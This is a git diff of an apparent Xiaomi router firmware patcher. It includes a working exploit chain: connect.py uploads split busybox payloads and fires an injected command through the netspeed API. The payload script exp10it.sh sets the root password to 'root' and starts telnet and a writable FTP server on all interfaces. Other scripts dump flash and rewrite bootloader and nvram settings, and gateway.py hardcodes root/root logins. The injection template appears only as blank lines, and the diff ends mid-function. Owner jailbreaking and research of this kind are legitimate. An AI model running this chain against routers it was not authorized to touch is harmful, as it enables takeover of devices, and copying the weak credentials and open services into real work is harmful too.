diff --git a/!START.bat b/!START.bat
new file mode 100644
index 0000000..7411a91
--- /dev/null
+++ b/!START.bat
@@ -0,0 +1,3 @@
+@echo off
+chcp 866 >NUL
+start cmd /k python\python.exe menu.py
diff --git a/README.md b/README.md
index 60c3e15..530b6b8 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,2 @@
-# xmir-patcher
+# XMiR-Patcher
Firmware patcher for Xiaomi routers
diff --git a/activate_boot.py b/activate_boot.py
new file mode 100644
index 0000000..02e4758
--- /dev/null
+++ b/activate_boot.py
@@ -0,0 +1,223 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+import read_info
+from envbuffer import EnvBuffer
+
+
+gw = gateway.Gateway()
+
+dev = read_info.DevInfo(verbose = 0, infolevel = 1)
+dev.get_bootloader()
+if not dev.bl.img:
+ die("Can't dump current bootloader!")
+
+for i, part in enumerate(dev.partlist):
+ print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (i, part['addr'], part['size'], part['name']))
+
+if len(sys.argv) > 1:
+ fw_name = sys.argv[1]
+else:
+ if dev.bl.type == 'breed':
+ print("The device has an Breed bootloader installed.")
+ print("It is possible to specify a specific kernel boot address (HEX-number).")
+ print("It is also possible to specify the kernel number or the name of its partition.")
+ fw_name = input("Enter kernel (number, address or name): ")
+ else:
+ fw_name = input("Enter kernel number (0 or 1): ")
+
+fw_name = fw_name.strip()
+if fw_name == "":
+ die("Boot partition not specified!")
+
+fw_num = None
+fw_addr = None
+if len(fw_name) >= 6 and fw_name.lower().startswith('0x'):
+ fw_addr = int(fw_name, 16)
+else:
+ try:
+ fw_num = int(fw_name)
+ if fw_num != 0 and fw_num != 1:
+ die("Boot partition number not correct! Must be 0 or 1!")
+ except Exception:
+ pass
+
+#if dev.bl.type == 'pandora':
+# die('Pandora bootloader not supported!')
+
+if dev.bl.type == 'breed':
+ if fw_num is not None:
+ pname = 'kernel%d' % fw_num
+ p = dev.get_part_num(pname)
+ if p < 0:
+ die('Partition "{}" not found!)'.format(pname))
+ fw_addr = dev.partlist[p]['addr']
+ if not fw_addr:
+ if len(fw_name) < 4:
+ die('Incorrect boot partition name! (len: {})'.format(len(fw_name)))
+ p = dev.get_part_num(fw_name)
+ if p <= 0:
+ die('Partition "{}" not found!)'.format(fw_name))
+ fw_addr = dev.partlist[p]['addr']
+ #dev.verbose = 2
+ dev.get_env_list()
+ env = dev.env.breed
+ if env.data is None or env.max_size is None:
+ die("Can't found breed env address!")
+ env.var['autoboot.command'] = "boot flash 0x%X" % fw_addr
+ print("Breed ENV params for update:")
+ for i, (k, v) in enumerate(env.var.items()):
+ v = '' if (v is None) else ('=' + v)
+ print(" " + k + v)
+ bufsize = env.max_size
+ buf = env.pack(bufsize)
+ buf = b'ENV\x00' + buf[4:]
+ #print("env =", buf[:128])
+ data = env.data[0:env.offset] + buf + env.data[(env.offset + len(buf)):]
+ fn_local = 'tmp/env_breed.bin'
+ fn_remote = '/tmp/env_breed.bin'
+ with open(fn_local, "wb") as file:
+ file.write(data)
+ gw.upload(fn_local, fn_remote)
+ pe = dev.get_part_num(env.addr)
+ if pe < 0:
+ die('Partition for writing ENV {} not found!'.format("0x%08X" % env.addr))
+ part_addr = dev.partlist[pe]['addr']
+ part_name = dev.partlist[pe]['name']
+ cmd = 'mtd write {bin} "{part}"'.format(bin=fn_remote, part=part_name)
+ print("Send command: {}".format(cmd))
+ gw.run_cmd(cmd)
+ print('Breed ENV changed! Boot from {} activated.'.format("0x%08X" % fw_addr))
+ gw.run_cmd("rm -f " + fn_remote)
+ if fw_name != '0' and fw_name != '1':
+ sys.exit(0)
+ fw_addr = None
+
+fw_num = None
+try:
+ fw_num = int(fw_name)
+except Exception:
+ pass
+
+if fw_addr:
+ die('Required Breed bootloader for set custom boot address!')
+
+if fw_num is None:
+ die("Boot partition not specified!")
+
+if fw_num != 0 and fw_num != 1:
+ die("Boot partition number not correct! Must be 0 or 1!")
+
+print("Run scripts...")
+cmd = []
+cmd.append("nvram set flag_ota_reboot=0")
+cmd.append("nvram set flag_boot_success=1")
+cmd.append("nvram set flag_last_success={}".format(fw_num))
+cmd.append("nvram set flag_try_sys1_failed=0")
+cmd.append("nvram set flag_try_sys2_failed=0")
+cmd.append("nvram set flag_boot_rootfs={}".format(fw_num))
+cmd.append("nvram commit")
+gw.run_cmd(cmd)
+print('Ready! Boot from partition "kernel{}" activated.'.format(fw_num))
+
+
+'''
+/*** Algorithm from stock uboot: ***/
+
+ #define OK 0
+
+ if ( flag_try_sys1_failed > 1 || flag_try_sys2_failed > 1 || flag_ota_reboot > 1 || flag_last_success > 1 )
+ goto boot_rootfs0;
+
+ if ( flag_try_sys1_failed == 1 && flag_try_sys2_failed == 1 )
+ {
+ if ( verifying_kernel0() == OK )
+ goto boot_rootfs0;
+
+ if ( verifying_kernel1() == OK )
+ goto boot_rootfs1;
+ }
+
+ if ( flag_ota_reboot == 1 )
+ {
+ flag_last_success = 1 - flag_last_success;
+ }
+ else
+ {
+ if ( flag_last_success == 0 )
+ flag_try_sys2_failed = flag_try_sys1_failed;
+
+ if ( flag_try_sys2_failed == 1 )
+ flag_last_success = 1 - flag_last_success;
+ }
+
+ if ( flag_last_success == 0 )
+ goto boot_rootfs0;
+ else
+ goto boot_rootfs1;
+
+boot_rootfs1:
+ img_addr = 0x600000 // kernel1
+ flag_boot_rootfs = 1;
+ goto boot;
+
+boot_rootfs0:
+ img_addr = 0x200000 // kernel0
+ flag_boot_rootfs = 0;
+ goto boot;
+
+boot:
+ setenv("flag_boot_rootfs", flag_boot_rootfs);
+ factory_mode = 0;
+ crash_log_magic = 0;
+ ranand_read(&crash_log_magic, 0x140000, 4);
+ if ( crash_log_magic == 0x5AA5 )
+ {
+ factory_mode = 1;
+ printf("System is in factory mode.\n");
+ setenv("uart_en", "1");
+ setenv("boot_wait", "on");
+ }
+ saveenv();
+ ranand_read(img_header, img_addr, 64);
+ img_header_magic = ntohl(*(uint32_t *)img_header)
+ if ( img_header_magic != 0x27051956 )
+ {
+ printf("Bad Magic Number,%08X, try to reboot\n", img_header_magic);
+ goto bad_data;
+ }
+ if ( getenv("verify") != 'n' ) {
+ if ( verify_image(img_addr) != OK )
+ printf("Bad Data CRC\n");
+ goto bad_data;
+ }
+ }
+
+ do_bootm_linux(...)
+
+bad_data:
+ if ( flag_boot_rootfs == 0 )
+ setenv("flag_try_sys1_failed", "1");
+ else
+ setenv("flag_try_sys2_failed", "1");
+
+ setenv("flag_ota_reboot", "0");
+ saveenv();
+ if ( factory_mode )
+ {
+ printf("System is in factory mode. U-Boot BOOT ERROR! \n");
+ nullsub_4();
+ while ( 1 ) // HARD CPU RESTART
+ ;
+ }
+ return CRITICAL_ERROR
+
+'''
+
+
diff --git a/bootloader/breed_r3g_eng.bin b/bootloader/breed_r3g_eng.bin
new file mode 100644
index 0000000..e77bb03
Binary files /dev/null and b/bootloader/breed_r3g_eng.bin differ
diff --git a/bootloader/uboot_r3g.bin b/bootloader/uboot_r3g.bin
new file mode 100644
index 0000000..9baedf8
Binary files /dev/null and b/bootloader/uboot_r3g.bin differ
diff --git a/bootloader/uboot_r3p.bin b/bootloader/uboot_r3p.bin
new file mode 100644
index 0000000..420a5e1
Binary files /dev/null and b/bootloader/uboot_r3p.bin differ
diff --git a/config.txt b/config.txt
new file mode 100644
index 0000000..2ec2995
--- /dev/null
+++ b/config.txt
@@ -0,0 +1,3 @@
+{
+ "device_ip_addr": "192.168.1.1"
+}
\ No newline at end of file
diff --git a/connect.py b/connect.py
new file mode 100644
index 0000000..ce8f7e4
--- /dev/null
+++ b/connect.py
@@ -0,0 +1,144 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+import re
+import time
+import random
+import hashlib
+import requests
+import socket
+import tarfile
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+
+
+gw = gateway.Gateway(detect_device = False)
+if len(sys.argv) < 2:
+ ip_addr = gw.ip_addr
+else:
+ ip_addr = sys.argv[1]
+ if not ip_addr:
+ die("You entered an empty IP-address!")
+ gw.ip_addr(ip_addr)
+ gw.save_config()
+
+def get_http_headers():
+ headers = {}
+ headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
+ headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
+ return headers
+
+gw = gateway.Gateway(timeout = 4)
+if gw.status < 1:
+ die("Xiaomi Mi Wi-Fi device not found (IP: {})".format(ip_addr))
+
+dname = gw.device_name
+print("device_name =", gw.device_name)
+
+if gw.ping(verbose = 0) is True:
+ die(0, "Exploit already installed and running")
+
+try:
+ r0 = requests.get("http://{ip_addr}/cgi-bin/luci/web".format(ip_addr = ip_addr), timeout = 4)
+except Exception:
+ die("Xiaomi Mi Wi-Fi device not found! (ip: {})".format(ip_addr))
+
+try:
+ mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
+except Exception:
+ die("Xiaomi Mi Wi-Fi device is wrong model or not the stock firmware in it.")
+
+key = re.findall(r'key: \'(.*)\',', r0.text)[0]
+nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000))
+password = input("Enter device WEB password: ")
+account_str = (password + key).encode('utf-8')
+account_str = hashlib.sha1(account_str).hexdigest()
+password = (nonce + account_str).encode('utf-8')
+password = hashlib.sha1(password).hexdigest()
+username = 'admin'
+data = "username={username}&password={password}&logtype=2&nonce={nonce}".format(username = username, password = password, nonce = nonce)
+requrl = "http://{ip_addr}/cgi-bin/luci/api/xqsystem/login".format(ip_addr = ip_addr)
+r1 = requests.post(requrl, data = data, headers = get_http_headers())
+try:
+ stok = re.findall(r'"token":"(.*?)"',r1.text)[0]
+except Exception:
+ die("Password is not correct!")
+
+print("Begin creating a payload for the exploit...")
+fn_dir = 'data/payload/'
+fn_tmp = 'tmp/'
+fn_payload1 = 'tmp/payload1.tar.gz'
+fn_payload2 = 'tmp/payload2.tar.gz'
+fn_bb1 = fn_tmp + 'busybox_01'
+fn_bb2 = fn_tmp + 'busybox_02'
+
+fn_bb = 'busybox_mips'
+if dname == 'r3d':
+ fn_bb = 'busybox_armv7a'
+if dname == "rb03":
+ fn_bb = 'busybox_arm64'
+
+if os.path.exists(fn_payload1):
+ os.remove(fn_payload1)
+if os.path.exists(fn_payload2):
+ os.remove(fn_payload2)
+
+with open(fn_dir + fn_bb, "rb") as file:
+ bb = file.read()
+fpos = len(bb) // 2
+with open(fn_bb1, "wb") as file:
+ file.write(bb[:fpos])
+with open(fn_bb2, "wb") as file:
+ file.write(bb[fpos:])
+
+fn_exploit = "exp10it.sh"
+command = "sh /tmp/" + fn_exploit
+
+fn_executor = "speedtest_urls.xml"
+with open(fn_dir + fn_executor, "rt", encoding = "UTF-8") as file:
+ template = file.read()
+data = template.format(router_ip_address=ip_addr, command=command)
+with open(fn_tmp + fn_executor, "wt", encoding = "UTF-8", newline = "\n") as file:
+ file.write(data)
+
+with tarfile.open(fn_payload1, "w:gz", compresslevel=9) as tar:
+ tar.add(fn_bb1, arcname = os.path.basename(fn_bb1))
+
+with tarfile.open(fn_payload2, "w:gz", compresslevel=9) as tar:
+ tar.add(fn_bb2, arcname = os.path.basename(fn_bb2))
+ tar.add(fn_dir + fn_exploit, arcname = fn_exploit)
+ tar.add(fn_tmp + fn_executor, arcname = fn_executor)
+
+if os.path.exists(fn_bb1):
+ os.remove(fn_bb1)
+if os.path.exists(fn_bb2):
+ os.remove(fn_bb2)
+
+tgz_size1 = os.path.getsize(fn_payload1)
+if tgz_size1 > 100*1024 - 128:
+ die("File size {} exceeds 100KiB".format(fn_payload1))
+
+tgz_size2 = os.path.getsize(fn_payload2)
+if tgz_size2 > 100*1024 - 128:
+ die("File size {} exceeds 100KiB".format(fn_payload2))
+
+print("Start uploading the exploit with payload...")
+urlapi = "http://{ip_addr}/cgi-bin/luci/;stok={stok}/api/".format(ip_addr = ip_addr, stok = stok)
+
+if (fn_payload1):
+ requests.post(urlapi + "misystem/c_upload", files={"image":open(fn_payload1, 'rb')})
+if (fn_payload2):
+ requests.post(urlapi + "misystem/c_upload", files={"image":open(fn_payload2, 'rb')})
+
+print("Running TELNET and FTP servers...")
+requests.get(urlapi + "xqnetdetect/netspeed")
+
+time.sleep(0.5)
+gw.ping()
+
+print("")
+print("#### Connection to device {} is OK ####".format(gw.device_name))
diff --git a/create_backup.py b/create_backup.py
new file mode 100644
index 0000000..cd0b886
--- /dev/null
+++ b/create_backup.py
@@ -0,0 +1,102 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+
+sys.path.append(os.path.dirname(os.path.abspath(__file__)))
+import gateway
+from gateway import die
+import read_info
+
+
+gw = gateway.Gateway()
+
+dev = read_info.DevInfo(verbose = 0, infolevel = 1)
+dev.get_dmesg()
+dev.get_part_table()
+if not dev.partlist or len(dev.partlist) <= 1:
+ die("Partition list is empty!")
+
+fn_dir = 'backups/'
+fn_old = fn_dir + 'full_dump.old'
+fn_local = fn_dir + 'full_dump.bin'
+fn_remote = '/tmp/mtd_dump.bin'
+a_part = None
+pid = None
+if len(sys.argv) > 1:
+ for p, part in enumerate(dev.partlist):
+ print(' %2d > addr: 0x%08X size: 0x%08X name: "%s"' % (p, part['addr'], part['size'], part['name']))
+ print(" ")
+ a_part = input("Enter partition name or mtd number: ")
+ if a_part != 'a':
+ if isinstance(a_part, int):
+ p = a_part
+ if p < 0 or p >= len(dev.partlist):
+ die('Partition "mtd{}" not found!'.format(a_part))
+ else:
+ p = dev.get_part_num(a_part, comptype = 'ends')
+ if p < 0:
+ die('Partition "{}" not found!'.format(a_part))
+ name = dev.partlist[p]['name']
+ name = ''.join(e for e in name if e.isalnum())
+ fn_old = fn_dir + 'mtd{id}_{name}.old'.format(id=p, name=name)
+ fn_local = fn_dir + 'mtd{id}_{name}.bin'.format(id=p, name=name)
+ pid = p
+
+os.makedirs(fn_dir, exist_ok = True)
+
+if pid is None and a_part != 'a':
+ for p, part in enumerate(dev.partlist):
+ if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB
+ pid = p
+ name = dev.partlist[p]['name'] # "ALL"
+ name = ''.join(e for e in name if e.isalnum())
+ addr = dev.partlist[p]['addr']
+ size = dev.partlist[p]['size']
+ break
+
+if pid is not None:
+ if os.path.exists(fn_dir):
+ if os.path.exists(fn_local):
+ if os.path.exists(fn_old):
+ os.remove(fn_old)
+ os.rename(fn_local, fn_old)
+ if a_part is None:
+ print("Full backup creating...")
+ gw.run_cmd("dd if=/dev/mtd{id} of={o}".format(id=pid, o=fn_remote))
+ print('Dump of partition "{}" created!'.format(name))
+ print('Download dump to file "./{}"...'.format(fn_local))
+ gw.download(fn_remote, fn_local, verbose = 0)
+ print("Completed!")
+ gw.run_cmd("rm -f " + fn_remote)
+ print(" ")
+ if a_part is None:
+ print('Full backup saved to file "./{}"'.format(fn_local))
+ else:
+ print('Backup of "{}" saved to file "./{}"'.format(name, fn_local))
+else:
+ print("Full backup creating...")
+ for p, part in enumerate(dev.partlist):
+ if part['addr'] == 0 and part['size'] > 0x00800000: # 8MiB
+ continue # skip "ALL" part
+ name = dev.partlist[p]['name']
+ name = ''.join(e for e in name if e.isalnum())
+ addr = dev.partlist[p]['addr']
+ size = dev.partlist[p]['size']
+ fn_old = fn_dir + 'mtd{id}_{name}.old'.format(id=p, name=name)
+ fn_local = fn_dir + 'mtd{id}_{name}.bin'.format(id=p, name=name)
+ if os.path.exists(fn_dir):
+ if os.path.exists(fn_local):
+ if os.path.exists(fn_old):
+ os.remove(fn_old)
+ os.rename(fn_local, fn_old)
+ gw.run_cmd("dd if=/dev/mtd{id} of={o}".format(id=p, o=fn_remote))
+ print('Download dump to file "./{}"...'.format(fn_local))
+ gw.download(fn_remote, fn_local, verbose = 0)
+ gw.run_cmd("rm -f " + fn_remote)
+ print('Backup of "{}" saved to file "./{}"'.format(name, fn_local))
+ print(" ")
+ print("Completed!")
+
+
diff --git a/data/base.en.lmo b/data/base.en.lmo
new file mode 100644
index 0000000..3315dcb
Binary files /dev/null and b/data/base.en.lmo differ
diff --git a/data/base.ru.lmo b/data/base.ru.lmo
new file mode 100644
index 0000000..e75d4a0
Binary files /dev/null and b/data/base.ru.lmo differ
diff --git a/data/lang_install.sh b/data/lang_install.sh
new file mode 100644
index 0000000..6e8124d
--- /dev/null
+++ b/data/lang_install.sh
@@ -0,0 +1,55 @@
+if [ `ls /tmp/base.*.lmo |wc -l` -eq 0 ]; then
+ return 1
+fi
+
+if [ "$(mount| grep '/usr/lib/lua/luci')" != "" ]; then
+ sh /tmp/lang_uninstall.sh
+fi
+
+# delete old patch
+rm -f /etc/rc.lang
+
+# global firmware may contain a file "base.en.lmo"
+[ -f /usr/lib/lua/luci/i18n/base.en.lmo ] && rm -f /tmp/base.en.lmo
+
+mv -f /tmp/base.*.lmo /etc/
+mv -f /tmp/lang_patch.sh /etc/
+chmod +x /etc/lang_patch.sh
+
+FILE_FOR_EDIT=/etc/init.d/boot
+NEW_CMD="\[ -f \/etc\/lang_patch.sh \] && sh \/etc\/lang_patch.sh"
+FILE_PATCHED=1
+HAVE_PATCH=$(grep 'lang_patch.sh' $FILE_FOR_EDIT)
+if [ -z "$HAVE_PATCH" ]; then
+ FILE_PATCHED=0
+ UCI_CFG=$(grep 'apply_uci_config' $FILE_FOR_EDIT)
+ if [ -n "$UCI_CFG" ]; then
+ sed -i "/apply_uci_config$/i$NEW_CMD" $FILE_FOR_EDIT
+ FILE_PATCHED=2
+ fi
+ UCI_DEF=$(grep 'uci_apply_defaults' $FILE_FOR_EDIT)
+ if [ -n "$UCI_DEF" -a $FILE_PATCHED == 0 ]; then
+ sed -i "/uci_apply_defaults$/i$NEW_CMD" $FILE_FOR_EDIT
+ FILE_PATCHED=3
+ fi
+fi
+
+# run patch
+sh /etc/lang_patch.sh
+
+# delete lang
+uci -q delete luci.languages.ru
+uci -q delete luci.languages.en
+
+# add lang
+uci set luci.languages.ru=Русский
+uci set luci.languages.en=English
+
+# set main lang
+uci set luci.main.lang=en
+
+# commit luci settings
+uci commit luci
+
+# reload luci
+luci-reload & rm -f /tmp/luci-indexcache & luci-reload
diff --git a/data/lang_patch.sh b/data/lang_patch.sh
new file mode 100644
index 0000000..c4940c3
--- /dev/null
+++ b/data/lang_patch.sh
@@ -0,0 +1,22 @@
+if [ `ls /etc/base.*.lmo |wc -l` -eq 0 ]; then
+ return 0
+fi
+
+mkdir -p /tmp/_usr_lib_lua_luci
+cp -rf /usr/lib/lua/luci/* /tmp/_usr_lib_lua_luci/
+mount --bind /tmp/_usr_lib_lua_luci /usr/lib/lua/luci
+
+cp /etc/base.*.lmo /usr/lib/lua/luci/i18n
+
+# save original file
+cp -f /usr/share/xiaoqiang/xiaoqiang_version /etc/xiaoqiang_version
+
+mkdir -p /tmp/_usr_share_xiaoqiang
+cp -rf /usr/share/xiaoqiang/* /tmp/_usr_share_xiaoqiang/
+mount --bind /tmp/_usr_share_xiaoqiang /usr/share/xiaoqiang
+
+# unlock WEB lang menu
+sed -i 's/ and features\["system"\]\["i18n"\] == "1" //' /usr/lib/lua/luci/view/web/inc/sysinfo.htm
+
+# unlock change luci.main.lang
+sed -i "s/option CHANNEL 'stable'/option CHANNEL 'release'/g" /usr/share/xiaoqiang/xiaoqiang_version
diff --git a/data/lang_uninstall.sh b/data/lang_uninstall.sh
new file mode 100644
index 0000000..1f3d872
--- /dev/null
+++ b/data/lang_uninstall.sh
@@ -0,0 +1,15 @@
+if [ "$(mount| grep '/usr/lib/lua/luci')" != "" ]; then
+ umount -l /usr/lib/lua/luci
+fi
+rm -rf /tmp/_usr_lib_lua_luci
+
+if [ "$(mount| grep '/usr/share/xiaoqiang')" != "" ]; then
+ umount -l /usr/share/xiaoqiang
+fi
+rm -rf /tmp/_usr_share_xiaoqiang
+
+rm -f /etc/rc.lang
+rm -f /etc/lang_patch.sh
+rm -f /etc/base.*.lmo
+
+luci-reload & rm -f /tmp/luci-indexcache & luci-reload
diff --git a/data/payload/busybox_arm64 b/data/payload/busybox_arm64
new file mode 100644
index 0000000..052dcc7
Binary files /dev/null and b/data/payload/busybox_arm64 differ
diff --git a/data/payload/busybox_armv7a b/data/payload/busybox_armv7a
new file mode 100644
index 0000000..84d66e8
Binary files /dev/null and b/data/payload/busybox_armv7a differ
diff --git a/data/payload/busybox_config.zip b/data/payload/busybox_config.zip
new file mode 100644
index 0000000..dcab28e
Binary files /dev/null and b/data/payload/busybox_config.zip differ
diff --git a/data/payload/busybox_mips b/data/payload/busybox_mips
new file mode 100644
index 0000000..9bca2d1
Binary files /dev/null and b/data/payload/busybox_mips differ
diff --git a/data/payload/exp10it.sh b/data/payload/exp10it.sh
new file mode 100644
index 0000000..2ace602
--- /dev/null
+++ b/data/payload/exp10it.sh
@@ -0,0 +1,29 @@
+# enable UART
+nvram set bootdelay=5; nvram set uart_en=1; nvram commit
+
+# change password for root
+echo -e "root\nroot" | (passwd root)
+
+if [ -f /etc/init.d/dropbear ]; then
+ # unlock autostart dropbear
+ sed -i 's/"$flg_ssh" != "1" -o "$channel" = "release"/-n ""/g' /etc/init.d/dropbear
+ if [ -f /usr/sbin/dropbear ]; then
+ # restart dropbear
+ /etc/init.d/dropbear stop
+ /etc/init.d/dropbear start
+ fi
+fi
+
+cd /tmp
+rm -f busybox_tiny
+cat busybox_01 busybox_02 > busybox_tiny
+chmod +x busybox_tiny
+
+# start telnet
+./busybox_tiny telnetd
+
+# start ftp
+ln -s busybox_tiny ftpd
+./busybox_tiny tcpsvd -vE 0.0.0.0 21 ./ftpd -Sw / >> /tmp/msg_ftpd 2>&1 &
+
+#kill -9 `pgrep taskmonitor`
diff --git a/data/payload/speedtest_urls.xml b/data/payload/speedtest_urls.xml
new file mode 100644
index 0000000..1735c01
--- /dev/null
+++ b/data/payload/speedtest_urls.xml
@@ -0,0 +1,32 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/envbuffer.py b/envbuffer.py
new file mode 100644
index 0000000..ee3a966
--- /dev/null
+++ b/envbuffer.py
@@ -0,0 +1,103 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+import re
+import types
+import binascii
+
+
+class EnvBuffer():
+ addr = None
+ data = None # partition dump
+ offset = None # ENV offset in partition
+ len = 0
+ max_size = None
+ var = {} # key=value
+ encoding = 'ascii'
+ crc_prefix = True
+ delim = '\x00'
+
+ def __init__(self, data = None, delim = '\x00', crc_prefix = True, encoding = 'ascii'):
+ self.encoding = encoding
+ self.delim = delim
+ self.crc_prefix = crc_prefix
+ self.var = {}
+ if data is None:
+ return
+ prefix_len = 4 if crc_prefix else 0
+ if isinstance(data, str):
+ self.var = self.parse_env(data, delim)
+ else:
+ end = data.find((delim + delim).encode(encoding), prefix_len)
+ if (end > prefix_len):
+ data = data[prefix_len:end+1]
+ self.var = self.parse_env_b(data, delim, encoding)
+
+ def parse_env_b(self, data, delim, encoding = 'ascii'):
+ dict = {}
+ self.len = len(data)
+ data = data.split(delim.encode('ascii'))
+ for i, s in enumerate(data):
+ s = s.strip()
+ if len(s) < 1:
+ continue
+ x = s.find(b'=')
+ if x == 0:
+ continue
+ if x >= 1:
+ key = s[0:x].decode(encoding)
+ val = s[x+1:].decode(encoding)
+ dict[key.strip()] = val.strip()
+ else:
+ key = s.decode(encoding)
+ dict[key.strip()] = None
+ return dict
+
+ def parse_env(self, data, delim):
+ dict = {}
+ self.len = len(data)
+ data = data.split(delim)
+ for i, s in enumerate(data):
+ s = s.strip()
+ if len(s) < 1:
+ continue
+ x = s.find('=')
+ if x == 0:
+ continue
+ if x >= 1:
+ key = s[0:x]
+ val = s[x+1:]
+ dict[key.strip()] = val.strip()
+ else:
+ dict[s.strip()] = None
+ return dict
+
+ def set_env(self, key, value):
+ var[key] = value
+
+ def pack(self, bufsize, crc_prefix = None, encoding = None):
+ crc_prefix = crc_prefix if crc_prefix is not None else self.crc_prefix
+ encoding = encoding if encoding is not None else self.encoding
+ buf = b''
+ if self.var:
+ for i, (k, v) in enumerate(self.var.items()):
+ v = '' if (v is None) else ('=' + v)
+ buf += (k + v + '\x00').encode(encoding)
+ if len(buf) + 64 > bufsize:
+ raise OSError("Buffer overflow")
+ prefix_len = 4 if crc_prefix else 0
+ buf += b'\x00' * (bufsize - len(buf) - prefix_len)
+ crc = binascii.crc32(buf)
+ buf = (crc).to_bytes(4, byteorder='little') + buf
+ return buf
+
+
+
+
+
+
+
+
+
diff --git a/firmware/readme.txt b/firmware/readme.txt
new file mode 100644
index 0000000..7a95ffd
--- /dev/null
+++ b/firmware/readme.txt
@@ -0,0 +1 @@
+In this folder, you should put the firmware for flashing.
diff --git a/gateway.py b/gateway.py
new file mode 100644
index 0000000..744bd14
--- /dev/null
+++ b/gateway.py
@@ -0,0 +1,231 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+import json
+import time
+import random
+import hashlib
+import subprocess
+import re
+import requests
+import telnetlib
+import ftplib
+import atexit
+
+
+def die(*args):
+ err = 1
+ prefix = "ERROR: "
+ msg = ""
+ if len(args) > 0:
+ if isinstance(args[0], int):
+ err = args[0]
+ else:
+ msg = args[0]
+ if (err == 0):
+ prefix = ""
+ if len(args) > 1:
+ msg = args[1]
+ print(" ")
+ print(prefix + msg)
+ print(" ")
+ sys.exit(err)
+
+def get_http_headers():
+ headers = {}
+ headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
+ headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
+ return headers
+
+
+class Gateway():
+ verbose = 2
+ timeout = 4
+ config = {}
+ device_name = None
+ webpassword = None
+ status = -2
+ ftp = None
+
+ def __init__(self, timeout = 4, verbose = 2, detect_device = True):
+ self.verbose = verbose
+ self.timeout = timeout
+ self.config['device_ip_addr'] = None
+ self.load_config()
+ self.device_name = None
+ self.webpassword = None
+ self.status = -2
+ atexit.register(self.cleanup)
+ os.makedirs('outdir', exist_ok = True)
+ os.makedirs('tmp', exist_ok = True)
+ if detect_device:
+ self.detect_device()
+
+ def detect_device(self):
+ self.device_name = None
+ self.status = -2
+ try:
+ r0 = requests.get("http://{ip_addr}/cgi-bin/luci/web".format(ip_addr = self.ip_addr), timeout = self.timeout)
+ r0.raise_for_status()
+ #with open("r0.txt", "wb") as file:
+ # file.write(r0.text.encode("utf-8"))
+ hardware = re.findall(r'hardware = \'(.*?)\'', r0.text)
+ if hardware and len(hardware) > 0:
+ self.device_name = hardware[0]
+ else:
+ hardware = re.findall(r'hardwareVersion: \'(.*?)\'', r0.text)
+ if hardware and len(hardware) > 0:
+ self.device_name = hardware[0]
+ self.device_name = self.device_name.lower()
+ except requests.exceptions.HTTPError as e:
+ print("Http Error:", e)
+ except requests.exceptions.ConnectionError as e:
+ #print("Error Connecting:", e)
+ return self.status
+ except requests.exceptions.ConnectTimeout as e:
+ print ("ConnectTimeout Error:", e)
+ except requests.exceptions.Timeout as e:
+ print ("Timeout Error:", e)
+ except requests.exceptions.RequestException as e:
+ print("Request Exception:", e)
+ except Exception:
+ pass
+ if not self.device_name:
+ die("You need to make the initial configuration in the WEB of the device!")
+ self.status = -1
+ x = -1
+ try:
+ x = r0.text.find('a href="/cgi-bin/luci/web/init/hello')
+ except:
+ return self.status
+ if (x > 10):
+ self.webpassword = 'admin'
+ die("You need to make the initial configuration in the WEB of the device!")
+ self.status = 1
+ return self.status
+
+ def cleanup(self):
+ try:
+ self.ftp.quit()
+ except Exception:
+ pass
+ try:
+ self.ftp.close()
+ except Exception:
+ pass
+ self.ftp = None
+
+ @property
+ def ip_addr(self):
+ return self.config['device_ip_addr']
+
+ @ip_addr.setter
+ def ip_addr(self, value):
+ self.config['device_ip_addr'] = value
+
+ def load_config(self):
+ self.config = {}
+ with open('config.txt', 'r') as file:
+ self.config = json.load(file)
+ self.config['device_ip_addr'] = (self.config['device_ip_addr']).strip()
+
+ def save_config(self):
+ with open('config.txt', 'w') as file:
+ json.dump(self.config, file, indent=4, sort_keys=True)
+
+ def set_config_param(self, key, value):
+ self.config[key] = value
+ self.save_config()
+
+ def create_telnet(self, verbose = 0):
+ try:
+ tn = telnetlib.Telnet(self.ip_addr)
+ tn.read_until(b"login: ")
+ tn.write(b"root\n")
+ tn.read_until(b"Password: ")
+ tn.write(b"root\n")
+ tn.read_until(b"root@XiaoQiang:~#")
+ return tn
+ except Exception as e:
+ #print(e)
+ if verbose:
+ die("telnet not responding (IP: {})".format(self.ip_addr))
+ return None
+ return tn
+
+ def create_ftp(self, verbose = 0):
+ if self.ftp and self.ftp.sock:
+ try:
+ self.ftp.voidcmd("NOOP")
+ return self.ftp #Already connected
+ except Exception:
+ pass
+ self.ftp = None
+ try:
+ #timeout = 10 if self.timeout < 10 else self.timeout
+ self.ftp = ftplib.FTP(self.ip_addr, user='root', passwd='root', timeout=self.timeout)
+ self.ftp.voidcmd("NOOP")
+ except Exception:
+ self.ftp = None
+ if verbose:
+ die("ftp not responding (IP: {})".format(self.ip_addr))
+ return None
+ return self.ftp
+
+ def ping(self, verbose = 2):
+ tn = self.create_telnet(verbose)
+ if not tn:
+ return False
+ ftp = self.create_ftp(verbose)
+ if not ftp:
+ return False
+ return True
+
+ def run_cmd(self, cmd, msg = None):
+ tn = self.create_telnet(self.verbose)
+ if (msg):
+ print(msg)
+ cmdlist = []
